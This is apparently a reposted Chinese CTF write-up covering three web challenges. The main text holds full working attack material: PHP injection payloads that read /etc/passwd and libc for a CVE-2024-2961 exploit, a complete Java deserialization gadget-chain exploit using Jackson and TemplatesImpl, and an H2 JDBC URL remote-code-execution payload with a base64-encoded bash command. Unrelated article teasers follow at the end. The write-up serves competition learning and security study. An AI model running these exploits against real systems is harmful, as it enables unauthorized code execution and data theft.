目录

phpms

再短一点点 

泽西岛


phpms

dirsearch请求太快会报429,要设置一手--delay,扫出来.git

跑一下githacker

git stash list
git stash show -p

 注释的绕过参考:从国赛想到的一些php绕过注释符trick

发现很多函数都被disable了

 这里用php原生类先读/etc/passwd

/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){echo($f);
}

看到有redis,后续存在利用

 接下来用SplFileObject原生类配合CNEXT (CVE-2024-2961)进行命令执行

用这个改进过的脚本:https://github.com/kezibei/php-filter-iconv

先读maps

/index.php?shell=?><?php 
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){echo($f);
}

 再读/lib/x86_64-linux-gnu/libc-2.31.so

/index.php?shell=?><?php 
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){echo($f);
}

 脚本生成payload

 执行后502,无回显,可将执行结果写入文件再读取

发现flag不在文件中,在redis里

去读/etc/redis.conf,读到密码为admin123

将命令改为

echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt

再短一点点 

先来看黑名单过滤

第一个过滤com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink

第二个过滤javax.management.BadAttributeValueExpException,即直接触发toString的手段

第三个过滤了aop相关类,但org.springframework.aop.target.HotSwappableTargetSource没有被ban

又注意到题目库里有Jackson,可以由toString触发POJONODE来调getter,这里用SignedObject打二次反序列化即可

参考文章:Jackson原生反序列化 - Infernity's Blog

至于toString的触发,可以先试试EventListenerList这条链

https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java

 

链子搓完了,接下来看题目要求(

/deser路由,要求payload长度≤1282,经过InflaterInputStream解码,然后传到MyObjectInputStream里反序列化

反序列化完后执行命令, 删除/a文件,接着再访问/flag路由获取flag

 跑通了poc

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);Object obj = getPOJONodeStableProxy(templates);POJONode pojoNode = new POJONode(obj);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(pojoNode);setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});//二次反序列化SignedObject signedObject = second_serialize(list);POJONode pojoNode2 = new POJONode(signedObject);EventListenerList list2 = new EventListenerList();UndoManager manager2 = new UndoManager();Vector vector2 = (Vector) getFieldValue(manager2, "edits");vector2.add(pojoNode2);setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});String a = serialize(list2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//获取进行了动态代理的templatesImpl,保证触发getOutputpublic static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);return proxyObj;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "Infernity");setValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{byte[] bytes = Base64.getDecoder().decode(exp);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

但长度太长,需要削减不必要部分

首先置空TP的不必要字段

删掉jackson链子稳定性部分 

 跑完还是离1282差一点🤔

于是换toString的入口

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);POJONode pojoNode = new POJONode(templates);HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);//二次反序列化SignedObject signedObject = second_serialize(objectObjectHashMap);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);String a = serialize(objectObjectHashMap2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "");setValue(templates, "_tfactory", null);return templates;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// 使用 Deflater 设置为最高压缩率Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);objectOutputStream.writeObject(obj);// 关闭流objectOutputStream.flush();deflaterOutputStream.finish();deflaterOutputStream.close();// 转换为 Base64 字符串String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

更接近了一点🤔 

 短不了一点了,下一题

泽西岛

这题是个不出网H2 RCE

扒一扒h2database远程代码执行 | 离别歌

首先是鉴权的绕过

用/api/testConnect;.绕过

接着打H2 RCE

cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\

再随便访问个不存在的路由,带出flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90461.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90461.shtml
英文地址,请注明出处:http://en.pswp.cn/web/90461.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32-USART串口配置教程和printf函数实现(寄存器版)

本章概述思维导图通信介绍通信介绍概况通信&#xff0c;至少是需要两个对象&#xff0c;一个收一个发数据。根据数据通信的传输时序协调方式&#xff0c;可分为&#xff1a;同步通信和异步通信&#xff1b;根据数据通信的传输线路可分为&#xff1a;串行通信和并行通信&#xf…

4种灵活的方法从POCO手机中删除联系人

许多POCO用户经常需要清理联系人列表&#xff0c;删除重复或过时的条目&#xff0c;或者在出售或赠送手机之前删除个人或敏感联系人。无论是为了隐私、组织管理&#xff0c;还是仅仅是为了管理存储空间&#xff0c;高效地删除POCO手机中的联系人是至关重要的。本文将介绍4种智能…

航段导航计算机 (Segment_Navigator) 设计与实现

航段导航计算机 (Segment_Navigator) 设计与实现 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家&#xff0c;觉得好请收藏。点击跳转到网站。 1. 引言 航段导航计算机是现代航空电子系统中的关键组件&a…

input.1是onnx输入的名称,但是依然警告不是

导出动态轴的时候发现&#xff0c;明明input.1就是onnx的名字&#xff0c;但是依然有警告说不是&#xff1b;/miniconda3/envs/py38/lib/python3.8/site-packages/torch/onnx/utils.py:2078: UserWarning: Provided key input.1 for dynamic axes is not a valid input/output …

生成式人工智能展望报告-欧盟-02-技术方面

原文地址 摘要 本章的重点是GenAI的技术层面&#xff0c;首先是对其能力和局限性的评估。它强调了部署GenAI系统所带来的网络安全挑战。会议讨论了新出现的技术趋势&#xff0c;为决策者和利益攸关方提供了前瞻性的视角。关键问题包括确保GenAI应用程序的安全性和可靠性所需的…

人工智能与云计算双轮驱动:元宇宙如何重构全球产业生态

一、人工智能在元宇宙中的核心应用1. 内容生成与虚拟世界构建生成式AI&#xff08;AIGC&#xff09;&#xff1a;通过AI算法自动生成3D模型、虚拟场景和角色&#xff0c;显著降低内容制作成本和时间。例如&#xff1a;联想晨星元宇宙平台&#xff1a;利用AIGC技术实现低成本、高…

企业信息管理系统开发实战:基于 Spring Boot+MyBatis+Thymeleaf

引言&#xff1a;企业信息管理系统的核心价值在企业日常运营中&#xff0c;高效的信息管理是提升效率的关键。本文将手把手教你开发一套企业信息管理系统&#xff0c;涵盖用户登录、信息增删改查、权限控制等核心功能。系统采用 Spring Boot 作为后端框架&#xff0c;MyBatis 处…

NLP自然语言处理的一些疑点整理

PyTorch评估模式&#xff08;torch.no_grad和model.eval&#xff09;差异在PyTorch中&#xff0c;model.eval()和torch.no_grad()是模型评估和推理阶段的两个关键工具&#xff0c;它们各自扮演着不同的角色&#xff0c;但常常被一起使用以确保模型行为的正确性和计算效率。理解…

物流仓储自动化升级:Modbus TCP与DeviceNet的协议融合实践

一、项目背景在我们物流厂的日常运营中&#xff0c;分拣效率和仓储精准度一直是瓶颈。传统人工分拣不仅速度慢&#xff0c;还容易因疲劳出错&#xff1b;仓储区域的货物定位全靠人工记录&#xff0c;时常出现找货难、盘点耗时的问题。生产线的核心控制依赖施耐德PLC&#xff0c…

产品动态 | 同创永益IStorM Chaos 混沌工程平台V4.0震撼发布:智能驱动,筑牢系统稳定性防线

当混沌工程从试点走向企业级大规模推广&#xff0c;标准化缺失、专家依赖高、实施效率低等痛点成为阻碍系统稳定性升级的 “拦路虎”。此刻&#xff0c;同创永益重磅推出IStorM Chaos 混沌工程平台 V4.0&#xff0c;以智能技术为核心驱动力&#xff0c;为企业构建更高效、更灵活…

C++中的反向迭代器

C中的反向迭代器 为啥反向迭代器的讲解要单独拎出来讲&#xff0c;没有在讲各个容器的时候顺手讲了呢&#xff1f; 主要是因为c中的反向迭代器和正向迭代器的实现不太一样。 它思想不复杂&#xff0c;主要是巧。来&#xff0c;我们按照我们刚刚的想法把代码写出来 #pragma once…

【一步步ai】数据增强与预处理

提升NL2SQL系统性能是一个复杂的多维度优化问题&#xff0c;涉及数据工程、模型架构、训练策略和评估方法等多个层面。以下是一些有效的提升方向和具体方法&#xff1a; 一、数据增强与预处理 多样化数据生成 模板扩展&#xff1a;基于SQL语法模板自动生成多样化的NL-SQL对&am…

站在哪个肩膀上开始学习卡尔曼滤波

站在哪个肩膀上开始学习卡尔曼滤波前言从自适应滤波的角度正交性原理到维纳解kalman滤波的提出innovation process新息过程kalman滤波算法Kalman 自适应滤波器算法初始条件输入观测向量过程已知参数计算&#xff1a;n1&#xff0c;2&#xff0c;3&#xff0c;..参考前言 不知道…

什么是FCR,如何提升FCR?

‌ FCR&#xff08;First Call Resolution&#xff0c;首次呼叫解决率&#xff09;&#xff0c;意思是指客户首次联系客服时&#xff0c;问题在单次交互中被完全解决的比率。‌ ‌FCR &#xff08;首次解决的通话量 / 总首次通话量&#xff09; 100%一、关键要点&…

【浏览器插件冲突】Edge浏览器加载不出来CSDN创作者中心

【浏览器插件冲突】Edge浏览器加载不出来CSDN创作者中心写在最前面报错GPT的全部回复&#xff0c;可以参考&#x1f50d; 具体错误解释&#xff1a;1. **CORS错误**2. **XHR 请求失败**3. **ReaderArticleFinder / Readability**&#x1f6e0;️ 为什么页面没有内容显示&#x…

从零开发Java坦克大战:架构设计与难点突破 (下)

6. 游戏引擎类:6.1 完整源码展示: import javax.swing.*; import java.awt.*; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.util.ArrayList; import java.util.HashSet; import java.util.Random; import java.util.Set;public class Gam…

Git下载与安装全攻略

引言 Git是当今最流行的分布式版本控制系统&#xff0c;由Linus Torvalds于2005年创建。它帮助开发者高效管理代码变更&#xff0c;支持多人协作开发&#xff0c;是现代软件开发不可或缺的工具。无论是个人项目还是团队协作&#xff0c;Git都能提供强大的版本控制功能。 本文…

【Elasticsearch】快照生命周期管理 SLM(理论篇)

《Elasticsearch 集群》系列&#xff0c;共包含以下文章&#xff1a; 1️⃣ 冷热集群架构2️⃣ 合适的锅炒合适的菜&#xff1a;性能与成本平衡原理公式解析3️⃣ ILM&#xff08;Index Lifecycle Management&#xff09;策略详解4️⃣ Elasticsearch 跨机房部署5️⃣ 快照与恢…

深入理解 UDP 协议:从原理到实战的技术解析

UDP&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09;作为 TCP 的 "轻量型伙伴"&#xff0c;在实时通信、流媒体传输等场景中发挥着不可替代的作用。与 TCP 的可靠传输不同&#xff0c;UDP 以 "简单、快速、无连接" 为设计理念&a…

c语言-数据结构-沿顺相同树解决对称二叉树问题的两种思路

二叉树OJ前言对称二叉树前言 本篇继续讲解二叉树OJ题目之对称二叉树 对称二叉树 题目链接&#xff1a;https://leetcode.cn/problems/symmetric-tree/description/ 该题要求比较这棵树是否对称&#xff0c;对称&#xff0c;指的是结构对称并且值也要对称&#xff0c;即对应…